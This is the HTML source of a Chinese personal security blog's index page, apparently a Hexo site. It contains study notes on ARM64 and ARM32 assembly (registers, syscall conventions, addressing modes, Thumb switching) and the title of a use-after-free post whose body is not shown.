forked from D0m021ng/D0m021ng.github.io
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathindex.html
More file actions
2178 lines (779 loc) · 192 KB
/
index.html
File metadata and controls
2178 lines (779 loc) · 192 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<!DOCTYPE html>
<html class="theme-next pisces use-motion" lang="zh-CN">
<head>
<meta charset="UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"/>
<meta name="theme-color" content="#222">
<meta http-equiv="Cache-Control" content="no-transform" />
<meta http-equiv="Cache-Control" content="no-siteapp" />
<link href="/lib/font-awesome/css/font-awesome.min.css?v=4.6.2" rel="stylesheet" type="text/css" />
<link href="/css/main.css?v=6.0.4" rel="stylesheet" type="text/css" />
<link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png?v=6.0.4">
<link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32-next.png?v=6.0.4">
<link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16-next.png?v=6.0.4">
<link rel="mask-icon" href="/images/logo.svg?v=6.0.4" color="#222">
<script type="text/javascript" id="hexo.configurations">
var NexT = window.NexT || {};
var CONFIG = {
root: '/',
scheme: 'Pisces',
version: '6.0.4',
sidebar: {"position":"left","display":"post","offset":12,"b2t":false,"scrollpercent":false,"onmobile":false},
fancybox: false,
fastclick: false,
lazyload: false,
tabs: true,
motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},
algolia: {
applicationID: '',
apiKey: '',
indexName: '',
hits: {"per_page":10},
labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
}
};
</script>
<meta name="keywords" content="Hexo, NexT" />
<meta property="og:type" content="website">
<meta property="og:title" content="不要说话">
<meta property="og:url" content="http://yoursite.com/index.html">
<meta property="og:site_name" content="不要说话">
<meta property="og:locale" content="zh-CN">
<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="不要说话">
<link rel="canonical" href="http://yoursite.com/"/>
<script type="text/javascript" id="page.configurations">
CONFIG.page = {
sidebar: "",
};
</script>
<title>不要说话</title>
<script type="text/javascript">
var _hmt = _hmt || [];
(function() {
var hm = document.createElement("script");
hm.src = "https://hm.baidu.com/hm.js?1af9afd17b6140a97d0c07a87fa5d062";
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(hm, s);
})();
</script>
<noscript>
<style type="text/css">
.use-motion .motion-element,
.use-motion .brand,
.use-motion .menu-item,
.sidebar-inner,
.use-motion .post-block,
.use-motion .pagination,
.use-motion .comments,
.use-motion .post-header,
.use-motion .post-body,
.use-motion .collection-title { opacity: initial; }
.use-motion .logo,
.use-motion .site-title,
.use-motion .site-subtitle {
opacity: initial;
top: initial;
}
.use-motion {
.logo-line-before i { left: initial; }
.logo-line-after i { right: initial; }
}
</style>
</noscript>
</head>
<body itemscope itemtype="http://schema.org/WebPage" lang="zh-CN">
<div class="container sidebar-position-left
page-home">
<div class="headband"></div>
<header id="header" class="header" itemscope itemtype="http://schema.org/WPHeader">
<div class="header-inner"> <div class="site-brand-wrapper">
<div class="site-meta ">
<div class="custom-logo-site-title">
<a href="/" class="brand" rel="start">
<span class="logo-line-before"><i></i></span>
<span class="site-title">不要说话</span>
<span class="logo-line-after"><i></i></span>
</a>
</div>
<p class="site-subtitle"></p>
</div>
<div class="site-nav-toggle">
<button>
<span class="btn-bar"></span>
<span class="btn-bar"></span>
<span class="btn-bar"></span>
</button>
</div>
</div>
<nav class="site-nav">
<ul id="menu" class="menu">
<li class="menu-item menu-item-home">
<a href="/" rel="section">
<i class="menu-item-icon fa fa-fw fa-home"></i> <br />首页</a>
</li>
<li class="menu-item menu-item-tags">
<a href="/tags/" rel="section">
<i class="menu-item-icon fa fa-fw fa-tags"></i> <br />标签</a>
</li>
<li class="menu-item menu-item-categories">
<a href="/categories/" rel="section">
<i class="menu-item-icon fa fa-fw fa-th"></i> <br />分类</a>
</li>
<li class="menu-item menu-item-archives">
<a href="/archives/" rel="section">
<i class="menu-item-icon fa fa-fw fa-archive"></i> <br />归档</a>
</li>
</ul>
</nav>
</div>
</header>
<main id="main" class="main">
<div class="main-inner">
<div class="content-wrap">
<div id="content" class="content">
<section id="posts" class="posts-expand">
<article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
<div class="post-block">
<link itemprop="mainEntityOfPage" href="http://yoursite.com/2017/03/17/Mobile Security/ARM64-汇编语言/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="name" content="D0m021ng">
<meta itemprop="description" content="">
<meta itemprop="image" content="/images/2.png">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="不要说话">
</span>
<header class="post-header">
<h1 class="post-title" itemprop="name headline">
<a class="post-title-link" href="/2017/03/17/Mobile Security/ARM64-汇编语言/" itemprop="url">ARM64 汇编语言</a></h1>
<div class="post-meta">
<span class="post-time">
<span class="post-meta-item-icon">
<i class="fa fa-calendar-o"></i>
</span>
<span class="post-meta-item-text">发表于</span>
<time title="创建于" itemprop="dateCreated datePublished" datetime="2017-03-17T21:40:32+08:00">2017-03-17</time>
</span>
<span class="post-category" >
<span class="post-meta-divider">|</span>
<span class="post-meta-item-icon">
<i class="fa fa-folder-o"></i>
</span>
<span class="post-meta-item-text">分类于</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing"><a href="/categories/Mobile-Security/" itemprop="url" rel="index"><span itemprop="name">Mobile Security</span></a></span>
</span>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<h3 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00. 前言"></a>0x00. 前言</h3><p>前面已经介绍过ARM32汇编语言,但是从ARMv8-A开始出现了64位的ARM指令集,因此有必要学习一下64位的ARM指令集。虽然ARM官方将64位的ARM指令集叫做Aarch64,但为了和前面ARM32对比,暂且叫64位的ARM指令集为ARM64。ARM32和ARM64属于两套不同的指令集,在此仅介绍ARM64指令集中的一些改变。</p>
<h3 id="0x01-ARM64汇编中寄存器"><a href="#0x01-ARM64汇编中寄存器" class="headerlink" title="0x01. ARM64汇编中寄存器 "></a>0x01. ARM64汇编中寄存器 </h3><p>ARM64微处理器中,程序员可以使用31个64位的通用寄存器x0~x30,堆栈指针寄存器sp,指令指针寄存器pc。也可以只使用这些通用寄存器中的低32位,即w0~w30,wsp。ARM遵循ATPCS规则,ARM64汇编语言函数前8个参数使用x0-x7寄存器(或w0-w7寄存器)传递,多于8个的参数均通过堆栈传递,并且返回值通过x0寄存器(或w0寄存器)返回。在使用软中断进行系统调时,系统调用号通过x8寄存器传递,用svc指令产生软中断,实现从用户模式到管理模式的切换。例如:<br><figure class="highlight arm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">mov </span>x0, <span class="number">123</span> // exit <span class="meta">code</span></span><br><span class="line"><span class="keyword">mov </span>x8, <span class="number">93</span> // sys_exit() is at index <span class="number">93</span> in kernel functions table</span><br><span class="line"><span class="keyword">svc </span><span class="number">#0</span> // generate kernel call sys_exit(<span class="number">123</span>)<span class="comment">;</span></span><br></pre></td></tr></table></figure></p>
<h3 id="0x02-AMR64汇编语言"><a href="#0x02-AMR64汇编语言" class="headerlink" title="0x02. AMR64汇编语言"></a>0x02. AMR64汇编语言</h3><p>ARM64汇编指令集所有指令的长度固定,每条指令是4字节(32位宽度),并且没有Thumb指令集。</p>
<ol>
<li><p>访存指令<br>ARM32中的LDM、STM、PUSH、POP指令,在ARM64中并不存在。取而代之的是LDP、STP指令,如一般在函数开头用来代替PUSH.<br>例如,用IDA Pro逆向的某个ARM64 SO库函数的开头和结尾:</p>
<figure class="highlight arm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="symbol">STP</span> X24, X23, [<span class="built_in">SP</span>,<span class="symbol">#var_40</span>]!</span><br><span class="line"><span class="symbol">STP</span> X22, X21, [<span class="built_in">SP</span>,<span class="number">#0x40</span>+var_30]</span><br><span class="line"><span class="symbol">STP</span> X20, X19, [<span class="built_in">SP</span>,<span class="number">#0x40</span>+var_20]</span><br><span class="line"><span class="symbol">STP</span> X29, X30, [<span class="built_in">SP</span>,<span class="number">#0x40</span>+var_10]</span><br><span class="line"><span class="keyword">ADD </span> X29, <span class="built_in">SP</span>, <span class="number">#0x40</span>+var_10</span><br><span class="line"><span class="symbol">....</span></span><br><span class="line"><span class="keyword">SUB </span> <span class="built_in">SP</span>, X29, <span class="number">#0x30</span></span><br><span class="line"><span class="symbol">LDP</span> X29, X30, [<span class="built_in">SP</span>,<span class="number">#0x150</span>+var_120]</span><br><span class="line"><span class="symbol">LDP</span> X20, X19, [<span class="built_in">SP</span>,<span class="number">#0x150</span>+var_130]</span><br><span class="line"><span class="symbol">LDP</span> X22, X21, [<span class="built_in">SP</span>,<span class="number">#0x150</span>+var_140]</span><br><span class="line"><span class="symbol">LDP</span> X24, X23, [<span class="built_in">SP</span>+<span class="number">0x150</span>+var_150],<span class="number">#0x40</span></span><br><span class="line"><span class="symbol">RET</span></span><br></pre></td></tr></table></figure>
</li>
<li><p>跳转指令<br>跳转和链接指令,将PC保存到链接寄存器(BL和BLR)。</p>
</li>
<li><p>ARM64指令<br>ARM32指令集在涉及程序计数器(PC)计算时,由于多流水线的原因,需要加上4或者8的偏移。而ARM64指令集在涉及程序计数器(PC)计算时,不需要加上偏移。能够修改PC的唯一的方式,使用隐式的控制流指令(条件跳转,无条件跳转,异常生成,异常返回)。</p>
</li>
</ol>
<p><strong>PS:</strong> 由于时间关系,没有深入学习ARM64汇编指令集。以后有时间,继续补充本文,2017.03.24。</p>
<h3 id="0x03-参考文献"><a href="#0x03-参考文献" class="headerlink" title="0x03. 参考文献"></a>0x03. 参考文献</h3><p><a href="https://en.wikipedia.org/wiki/ARM_architecture" target="_blank" rel="noopener">1. Wiki ARM Architecture</a><br><a href="https://wiki.cdot.senecacollege.ca/wiki/Aarch64_Register_and_Instruction_Quick_Start" target="_blank" rel="noopener">2. Aarch64 Register and Instruction Quick Start</a><br><a href="http://cocoahuke.com/2015/08/30/ARMarch64%E6%B1%87%E7%BC%96%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/" target="_blank" rel="noopener">3. ARMarch64汇编学习笔记</a><br><a href="http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.den0024a/ch05s01.html" target="_blank" rel="noopener">4. ARM The Architecture for the Digital World</a></p>
</div>
<footer class="post-footer">
<div class="post-eof"></div>
</footer>
</div>
</article>
<article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
<div class="post-block">
<link itemprop="mainEntityOfPage" href="http://yoursite.com/2017/03/11/Mobile Security/ARM32-汇编语言/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="name" content="D0m021ng">
<meta itemprop="description" content="">
<meta itemprop="image" content="/images/2.png">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="不要说话">
</span>
<header class="post-header">
<h1 class="post-title" itemprop="name headline">
<a class="post-title-link" href="/2017/03/11/Mobile Security/ARM32-汇编语言/" itemprop="url">ARM32 汇编语言</a></h1>
<div class="post-meta">
<span class="post-time">
<span class="post-meta-item-icon">
<i class="fa fa-calendar-o"></i>
</span>
<span class="post-meta-item-text">发表于</span>
<time title="创建于" itemprop="dateCreated datePublished" datetime="2017-03-11T11:33:18+08:00">2017-03-11</time>
</span>
<span class="post-category" >
<span class="post-meta-divider">|</span>
<span class="post-meta-item-icon">
<i class="fa fa-folder-o"></i>
</span>
<span class="post-meta-item-text">分类于</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing"><a href="/categories/Mobile-Security/" itemprop="url" rel="index"><span itemprop="name">Mobile Security</span></a></span>
</span>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<h3 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00. 前言"></a>0x00. 前言</h3><p>最近在学习移动安全,为进行Android系统漏洞挖掘,需要学习ARM汇编语言。现在记录下自己学习ARM32汇编语言的要点与心得,以供参考。</p>
<h3 id="0x01-ARM32汇编中寄存器"><a href="#0x01-ARM32汇编中寄存器" class="headerlink" title="0x01. ARM32汇编中寄存器"></a>0x01. ARM32汇编中寄存器</h3><p>ARM32微处理器共有37个32位寄存器,其中31个为通用寄存器,6个为状态寄存器。ARM微处理器支持7种运行模式,分别是:用户模式(usr)、快速中断模式(fiq)、外部中断模式(irq)、管理模式(svc)、数据访问终止模式(abt)、系统模式(sys)、未定义指令中止模式(und)。由于ARM微处理器正常的程序执行状态为用户模式,因此先了解一下用户模式下ARM32。<br>在用户模式下,ARM32微处理器可以访问的寄存器有:不分组的寄存器R0-R7、分组寄存器R8-R14、程序计数器R15(PC)以及当前程序状态寄存器CPSR。<strong>ARM遵循ATPCS规则,ARM32汇编语言函数前4个参数使用R0-R3寄存器传递,多于4个的参数均通过堆栈传递,并且返回值通过R0寄存器返回。在使用软中断进行系统调时,系统调用号通过R7寄存器传递,用SWI指令产生软中断,实现从用户模式到管理模式的切换。例如,调用exit(0)的汇编代码如下:</strong><br><figure class="highlight arm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">MOV </span><span class="built_in">R0</span>, <span class="number">#0</span> <span class="comment">@参数0</span></span><br><span class="line"><span class="keyword">MOv </span><span class="built_in">R7</span>, <span class="number">#1</span> <span class="comment">@系统功能号1为 exit</span></span><br><span class="line"><span class="keyword">SWI </span><span class="number">#0</span> <span class="comment">@执行 exit(0)</span></span><br></pre></td></tr></table></figure></p>
<p>ARM32微处理器有两种工作状态:ARM32状态与Thumb状态。处理器可以在两种状态之间随意切换,当处理器处于ARM状态时,会执行32位对齐的ARM指令;当处于Thumb状态时,会执行16位对齐的Thumb指令。Thumb状态下对寄存器的命名与ARM32有部分差异,它们的关系如下表所示。</p>
<table>
<thead>
<tr>
<th style="text-align:center">Thumb状态下寄存器</th>
<th style="text-align:center">ARM32状态下寄存器</th>
<th style="text-align:center">用途</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:center">R0-R7</td>
<td style="text-align:center">R0-R7</td>
<td style="text-align:center">通用寄存器</td>
</tr>
<tr>
<td style="text-align:center">CPSR</td>
<td style="text-align:center">CPSR</td>
<td style="text-align:center">程序状态寄存器</td>
</tr>
<tr>
<td style="text-align:center">SL</td>
<td style="text-align:center">R10</td>
<td style="text-align:center">栈限制寄存器</td>
</tr>
<tr>
<td style="text-align:center">FP</td>
<td style="text-align:center">R11</td>
<td style="text-align:center">桢指针寄存器</td>
</tr>
<tr>
<td style="text-align:center">IP</td>
<td style="text-align:center">R12</td>
<td style="text-align:center">内部过程调用寄存器</td>
</tr>
<tr>
<td style="text-align:center">SP</td>
<td style="text-align:center">R13</td>
<td style="text-align:center">栈顶指针寄存器</td>
</tr>
<tr>
<td style="text-align:center">LR</td>
<td style="text-align:center">R14</td>
<td style="text-align:center">子程序链接寄存器</td>
</tr>
<tr>
<td style="text-align:center">PC</td>
<td style="text-align:center">R15</td>
<td style="text-align:center">程序计数器</td>
</tr>
</tbody>
</table>
<h3 id="0x02-ARM32处理器寻址方式"><a href="#0x02-ARM32处理器寻址方式" class="headerlink" title="0x02. ARM32处理器寻址方式"></a>0x02. ARM32处理器寻址方式</h3><p>ARM微处理器采用的是精简指令集,指令间的组合灵活。ARM微处理器支持九种寻址方式,分别是:立即寻址、寄存器寻址、寄存器移位寻址、寄存器间接寻址、基址寻址、多寄存器寻址、堆栈寻址、块拷贝寻址、相对寻址。先介绍其中几种寻址方式。</p>
<ol>
<li><p>寄存器移位寻址<br>寄存器移位寻址是ARM指令集特有的寻址方式,寄存器移位寻址方式:在操作前对源寄存器操作数进行移位操作。支持以下5种移位操作:<br>LSL: 逻辑左移,移位后寄存器空出的低位补0。<br>LSR: 逻辑右移,移位后寄存器空出的高位补0。<br>ASR: 算术右移,移位过程中符号位保持不变,如果源操作数为正数,则移位后寄存器空出的高位补0;否则补1。<br>ROR: 循环右移,移位后移出的低位填入移位空出的高位。<br>RRX: 带扩展的循环右移,操作数右移一位,移位后寄存器空出的高位用C标志的值填充。<br>例如:</p>
<figure class="highlight arm"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">MOV </span><span class="built_in">R0</span>, <span class="built_in">R1</span>, <span class="keyword">LSL </span><span class="number">#2</span> <span class="comment">@R0=R1*4</span></span><br></pre></td></tr></table></figure>
</li>
<li><p>基址寻址<br>基址寻址是将基址寄存器与偏移量相加,形成操作数的有效地址,所需的操作数保存在有效地址所指向的存储单元中。基址寻址多用于查表、数据访问等操作。例如:</p>
<figure class="highlight arm"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">LDR </span><span class="built_in">R0</span>, [<span class="built_in">R1</span>, #-<span class="number">4</span>] <span class="comment">@R0=[R1-4]</span></span><br></pre></td></tr></table></figure>
</li>
<li><p>多寄存器寻址<br>多寄存器寻址一条指令最多可以完成16个通用寄存器值的传送。比如LDMIA和LDMIB指令,LDM是数据加载指令,指令的后缀IA表示每次执行完加载操作后寄存器的值自增1个字;指令的后缀IB表示每次执行加载操作前寄存器的值自增1个字;还有两条指令后缀DA和DB,分别表示在指令操作后和操作前寄存器的值自减1个字。ARM32指令集中,字表示一个32位的数字,注意:该条指令的源寄存器与目的寄存器位置。例如:</p>
<figure class="highlight arm"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">LDMIA </span><span class="built_in">R0</span>, {<span class="built_in">R1</span>, <span class="built_in">R2</span>, <span class="built_in">R3</span>, <span class="built_in">R4</span>} <span class="comment">@R1=[R0], R2=[R0+4], R3=[R0+8], R4=[R0+12]</span></span><br></pre></td></tr></table></figure>
</li>
<li><p>堆栈寻址<br>堆栈寻址是ARM指令集特有的一种寻址方式,堆栈寻址需要使用特定的指令来完成。堆栈寻址的指令有LDMFA/STMFA、LDMEA/STMEA、LDMFD/STMFD、LDMED/STMED。LDM和STM为指令前缀,表示多寄存器寻址。FA(Full Ascending stack)、FD(Full Descending stack)、EA、ED为指令后缀,其中:FA表示满递增堆栈,堆栈向高地址生长,堆栈指针指向下一个要放入的空地址;<strong>FD表示满递减堆栈,堆栈向低地址生长,堆栈指针指向最后一个入栈的有效数据数据项;</strong> EA表示空递增堆栈,堆栈向高地址生长;ED空递减堆栈,堆栈向低地址生长。例如:</p>
<figure class="highlight arm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">STMFD </span> <span class="built_in">SP</span>!, {<span class="built_in">R1</span>-<span class="built_in">R7</span>, <span class="built_in">LR</span>} <span class="comment">@将R1-R7, LR入栈,多用于保护子程序现场</span></span><br><span class="line"><span class="keyword">LDMFD </span> <span class="built_in">SP</span>!, {<span class="built_in">R1</span>-<span class="built_in">R7</span>, <span class="built_in">LR</span>} <span class="comment">@将数据出栈,放入R1-R7, LR寄存器。多用于恢复子程序现场</span></span><br></pre></td></tr></table></figure>
</li>
<li><p>块拷贝寻址<br>块拷贝寻址可实现连续地址数据从存储器的某一位置拷贝到另一位置。块拷贝寻址的指令有LDMIA/STMIA、LDMDA/STMDA、LDMIB/STMIB、LDMDB/STMDB。指令前缀和指令后缀前面已经介绍了。例如:</p>
<figure class="highlight arm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">STMIA </span> <span class="built_in">R0</span>!, {<span class="built_in">R1</span>-<span class="built_in">R3</span>} <span class="comment">@从R0寄存器指向的存储单元中读取3个字到R1-R3寄存器</span></span><br><span class="line"><span class="keyword">LDMIA </span> <span class="built_in">R0</span>!, {<span class="built_in">R1</span>-<span class="built_in">R3</span>} <span class="comment">@存储R1-R3寄存器的内容到R0寄存器指向的存储单元</span></span><br></pre></td></tr></table></figure>
</li>
<li><p>相对寻址<br>相对寻址以程序计数器PC的当前值为基地址,指令中的地址标作为偏移量,将两者相加之后得到操作数的有效地址。例如:</p>
<figure class="highlight arm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">BL </span>NEXT</span><br><span class="line"> ....</span><br><span class="line"><span class="symbol">NEXT</span>:</span><br><span class="line"> ....</span><br></pre></td></tr></table></figure>
</li>
</ol>
<h3 id="0x03-ARM32指令集与Thumb指令集"><a href="#0x03-ARM32指令集与Thumb指令集" class="headerlink" title="0x03. ARM32指令集与Thumb指令集"></a>0x03. ARM32指令集与Thumb指令集</h3><p>前面讲过ARM32微处理器有ARM32与Thumb两种工作状态,因此,有ARM32与Thumbe指令集。一般地,ARM32指令集每条指令占4个字节码,Thumb指令集每条指令占2个字节码,两者不能混用。但是可以通过BX、BLX等指令在跳转的时候实现切换。同时,在使用IDA进行逆向时,IDA对此识别也有问题,可能会把Thumb的代码识别为ARM,或者反过来。一旦调试起来,运行到相应位置,便会报出异常,导致程序退出,我们可以使用Alt+G可以修改相应的识别。</p>
<ol>
<li><p>跳转指令<br>ARM中有两种方式可以实现程序挑战:一种是使用挑战指令直接跳转;另一种是给PC寄存器直接赋值实现挑战。跳转指令有4种:B跳转指令、BL带链接的跳转指令、LX带状态切换的跳转指令、BLX带链接和状态切换的跳转指令。<br><strong>现在介绍下ARM32指令集与Thumb指令集切换方法,在BX和BLX指令跳转时,判断目标地址最低位是否为1。</strong><br>如果为1,跳转时将CPSR寄存器标志T置位,并将目标地址处的代码解释位Thumb代码,处理器切换到Thumb状态;<br>如果为0,跳转时将CPSR寄存器标志T复位,并将目标地址处的代码解释位ARM32代码,处理器切换到ARM32状态。</p>
</li>
<li><p>ARM32与Thumb跳转偏移计算<br>ARM32: 低27位是偏移位置,下跳: 偏移=(目标地址 - 当前PC地址)/指令长度; 正数下跳,负数上跳。<br>Thumb: 目标地址 = 偏移 * 指令长度 + 当前PC地址</p>
</li>
<li><p>ARM指令执行(多流水线)<br>ARM指令执行分为3步:取地址 ->分析 ->运行。在涉及程序计数器相加时需要注意。例如:</p>
<figure class="highlight arm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">@ 1 取地址 ->分析 ->运行</span></span><br><span class="line"><span class="comment">@ 2 取地址 ->分析 ->运行</span></span><br><span class="line"><span class="comment">@ 3 取地址 ->分析 ->运行</span></span><br><span class="line"><span class="comment">@ 因此,执行一条涉及PC的指令时,PC一般指向下两条指令的地址;</span></span><br><span class="line"><span class="comment">@ 例如: Thumb指令集, PC = PC + 2*2; ARM32指令集,PC = PC + 4*2</span></span><br><span class="line"><span class="comment">@ R2=0x30c2, PC = PC + 2*2, R2 = 0x756A8F12 + 4 + 0x30c2 = 0x756ABFD8</span></span><br><span class="line"><span class="number">0x756A8F12</span> <span class="keyword">ADD </span> <span class="built_in">R2</span>, <span class="built_in">PC</span></span><br></pre></td></tr></table></figure>
</li>
</ol>
<h3 id="0x04-参考文献"><a href="#0x04-参考文献" class="headerlink" title="0x04. 参考文献"></a>0x04. 参考文献</h3><p><a href="https://en.wikipedia.org/wiki/ARM_architecture" target="_blank" rel="noopener">1. Wiki ARM Architecture</a><br><a href="https://book.douban.com/subject/20556210/" target="_blank" rel="noopener">2. Android软件安全与逆向分析</a><br><a href="http://blog.csdn.net/tigerjibo/article/details/6050649" target="_blank" rel="noopener">3. ARM汇编之寄存器</a></p>
</div>
<footer class="post-footer">
<div class="post-eof"></div>
</footer>
</div>
</article>
<article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
<div class="post-block">
<link itemprop="mainEntityOfPage" href="http://yoursite.com/2017/03/04/PWN/Linux堆漏洞之Use-after-free实例/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="name" content="D0m021ng">
<meta itemprop="description" content="">
<meta itemprop="image" content="/images/2.png">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="不要说话">
</span>
<header class="post-header">
<h1 class="post-title" itemprop="name headline">
<a class="post-title-link" href="/2017/03/04/PWN/Linux堆漏洞之Use-after-free实例/" itemprop="url">Linux堆漏洞之Use after free实例</a></h1>
<div class="post-meta">
<span class="post-time">
<span class="post-meta-item-icon">
<i class="fa fa-calendar-o"></i>
</span>
<span class="post-meta-item-text">发表于</span>
<time title="创建于" itemprop="dateCreated datePublished" datetime="2017-03-04T23:39:08+08:00">2017-03-04</time>
</span>
<span class="post-category" >
<span class="post-meta-divider">|</span>
<span class="post-meta-item-icon">
<i class="fa fa-folder-o"></i>
</span>
<span class="post-meta-item-text">分类于</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing"><a href="/categories/Security/" itemprop="url" rel="index"><span itemprop="name">Security</span></a></span>
</span>
</div>
</header>
<div class="post-body" itemprop="articleBody">
